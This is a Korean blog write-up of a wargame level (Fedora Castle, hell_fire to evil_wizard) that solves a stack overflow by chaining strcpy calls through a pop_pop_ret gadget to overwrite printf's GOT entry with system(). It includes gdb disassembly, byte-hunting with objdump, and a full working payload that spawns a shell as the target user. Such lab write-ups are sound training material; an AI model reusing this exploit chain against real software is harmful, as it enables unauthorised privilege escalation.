[4] hell_fire -> evil_wizard ( GOT Overwriting )

2017. 11. 30. 21:15SystemHacking/Fedora Catle



GOT Overwriting을 사용하기 위해서는 pop_pop_ret 코드가 필요하다

해당 서버 버전에서는 pop_pop_ret 코드가 없어서 문제의 소스코드에 직접 입력 해두고 있다


1> RTL 의 주소가 0x00 으로 시작되어 한 개 이상의 함수를 호출 할 수 없다 & 인자를 사용하면 함수를 최대 두개 호출 할 수 있다

=> pop_pop_ret 를 사용하여 해결 / NULL 값을 입력할 수 없기 때문에 함수들의 PLT 주소를 이용한다


2> 호출함수 주소 변조

=> strcpy 이용


[ 형식 ]

char *strcpy(char *dest, const char *src);

payload : ( strcpy'plt + pop_pop_ret + dst + src + strcpy'plt + pop_pop_ret + dst + src ) * 2 + printf plt + "AAAA" + argv1 


[ 소스코드 디버깅 ]

0x08048554 <main+0>: push   ebp

0x08048555 <main+1>: mov    ebp,esp

0x08048557 <main+3>: sub    esp,0x118

0x0804855d <main+9>: and    esp,0xfffffff0

....(생략)....

0x08048615 <main+193>: mov    eax,DWORD PTR [ebp+12]

0x08048618 <main+196>: add    eax,0x4

0x0804861b <main+199>: push   DWORD PTR [eax]

0x0804861d <main+201>: lea    eax,[ebp-264]

0x08048623 <main+207>: push   eax

0x08048624 <main+208>: call   0x8048494 <_init+200> strcpy(buffer,argv[1])

....(생략)....

0x0804867f <main+299>: lea    eax,[ebp-264]

0x08048685 <main+305>: push   eax

0x08048686 <main+306>: push   0x8048784

0x0804868b <main+311>: call   0x8048424 <_init+88> printf

0x08048690 <main+316>: add    esp,0x10

0x08048693 <main+319>: leave  

0x08048694 <main+320>: ret    

0x08048695 <main+321>: nop    

0x08048696 <main+322>: nop   


[ Stack ]

lenggth 4

saved_sfp         0xb8e6f7fe

buffer 256

dummy 8byte

saved ebp         0xb8e6f7fe

saved eip



* 라이브러리의 함수를 호출할 때에는 PLT를 이용하며, PLT를 사용할 때에는 GOT를 계산하는 과정이 있다

( 함수 호출 처음에만 GOT를 계산하고 이후에는 바로 호출할 수 있다 )

[ strcpy ]

(gdb) x/3i 0x8048494     <-- 함수 호출 시 사용한 주소

0x8048494 <_init+200>: jmp    ds:0x80498a0     <--plt

0x804849a <_init+206>: push   0x50

0x804849f <_init+211>: jmp    0x80483e4 <_init+24>

(gdb) x/x 0x80498a0

0x80498a0 <_GLOBAL_OFFSET_TABLE_+52>: 0x0804849a     <--got ( 실제 라이브러리에서의 위치 )

[ printf ]

(gdb) x/3i 0x8048424

0x8048424 <_init+88>: jmp    ds:0x8049884 <-- plt

0x804842a <_init+94>: push   0x18

0x804842f <_init+99>: jmp    0x80483e4 <_init+24>

(gdb) x/x 0x8049884

0x8049884 <_GLOBAL_OFFSET_TABLE_+24>: 0x0804842a <-- got


printf 함수 호출 시 GOT( 0x08049884 )주소에 위치한 0x0804842a ( &printf ) 를 호출한다

하지만, &printf 대신에 0x08049884 주소에 &system()으로 변조하면 system함수가 실행될 것이다


[ 풀이 과정 ]

strcpy(0x08049884,"\xc0....\x00")

strcpy(0x08049885,"\x07....\x00")

strcpy(0x08049886,"\x75....\x00")

strcpy(0x08049887,"\x00")

=> 0x08049884:    0x007507c0 (=&system)

[ &system ]

(gdb) p system

$2 = {<text variable, no debug info>} 0x7507c0 <system>

[ &pop_pop_ret ]

(gdb) disas pop_pop_ret

Dump of assembler code for function pop_pop_ret:

0x0804854c <pop_pop_ret+0>: push   ebp

0x0804854d <pop_pop_ret+1>: mov    ebp,esp

0x0804854f <pop_pop_ret+3>: pop    eax

0x08048550 <pop_pop_ret+4>: pop    eax

0x08048551 <pop_pop_ret+5>: ret    

0x08048552 <pop_pop_ret+6>: leave  

0x08048553 <pop_pop_ret+7>: ret  



[ Stack ]

lenggth 4

saved_sfp 0xb8e6f7fe

buffer 256

dummy 8byte

saved ebp 0xb8e6f7fe

saved eip &strcpy ㅡ 1 : c0로 변조

pop_pop_ret

argv1

argv2

&strcpy ㅡ 2 : 07로 변조

pop_pop_ret

argv1

argv2

&strcpy ㅡ 3 : 75로 변조

pop_pop_ret

argv1

argv2

&strcpy ㅡ 4 : 00로 변조

pop_pop_ret

argv1

argv2

printf        => system()함수 호출

AAAA

&/bin/sh    => system()함수의 인자가 된다 ( ebp+8지점 )


[ 실행파일 덤프내에서 필요한 1byte문자값 찾기 ]

[hell_fire@Fedora_1stFloor ~]$ objdump -s evil_wizard.cp | grep c0 --color=auto


 8048414 ff258098 04086810 000000e9 c0ffffff


0x8048420 <_init+84>:   0xc0    0xff    0xff    0xff

0x8048424 <_init+88>:   0xff    0x25    0x84    0x98

0x8048428 <_init+92>:   0x04    0x08    0x68    0x18

0x804842c <_init+96>:   0x00 


[hell_fire@Fedora_1stFloor ~]$ objdump -s evil_wizard.cp | grep 07 --color=auto


 8048148 03000000 0f000000 0d000000 0700


=> 0x8048154 <__libc_utmp_lock+125850732>: 0x07    0x00    0x00    0x00



[hell_fire@Fedora_1stFloor ~]$ objdump -s evil_wizard.cp | grep 75 --color=auto


 80486f4 0000005b 81c37511 000


=> 0x80486f8 <__libc_csu_fini+12>: 0x81    0xc3    0x75    0x11

   0x80486fc <__libc_csu_fini+16>: 0x00    0x00


\xc0 => 0x08048420

\x07 => 0x08048154

\x75 => 0x080486fa

\x00 => 0x80486fc 


strcpy plt    0x08048494

printf plt     0x08048424

[hell_fire@Fedora_1stFloor tmp]$ ./find

"/bin/sh" is at 0x833603

printf /bin/sh

printf 호출 시 사용되는 GOT내부 위치 : 0x08049884 ~ 0x08049887


[ payload ] 

[hell_fire@Fedora_1stFloor ~]$ ./evil_wizard "$(python -c 'print "A" * 268 + "\x94\x84\x04\x08" + "\x4f\x85\x04\x08" + "\x84\x98\x04\x08" + "\x20\x84\x04\x08" + "\x94\x84\x04\x08" + "\x4f\x85\x04\x08" + "\x85\x98\x04\x08" + "\x54\x81\x04\x08" + "\x94\x84\x04\x08" + "\x4f\x85\x04\x08" + "\x86\x98\x04\x08" + "\xfa\x86\x04\x08" + "\x94\x84\x04\x08" + "\x4f\x85\x04\x08" + "\x87\x98\x04\x08" + "\xfc\x86\x04\x08" + "\x24\x84\x04\x08" + "AAAA" + "\x03\x36\x83\x00"')"

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA▒▒▒▒▒O▒ ▒O▒T▒O▒▒O▒$AAAA6▒

sh-3.00$ id

uid=504(evil_wizard) gid=504(evil_wizard) groups=503(hell_fire) context=user_u:system_r:unconfined_t

sh-3.00$ my-pass

euid = 504

get down like that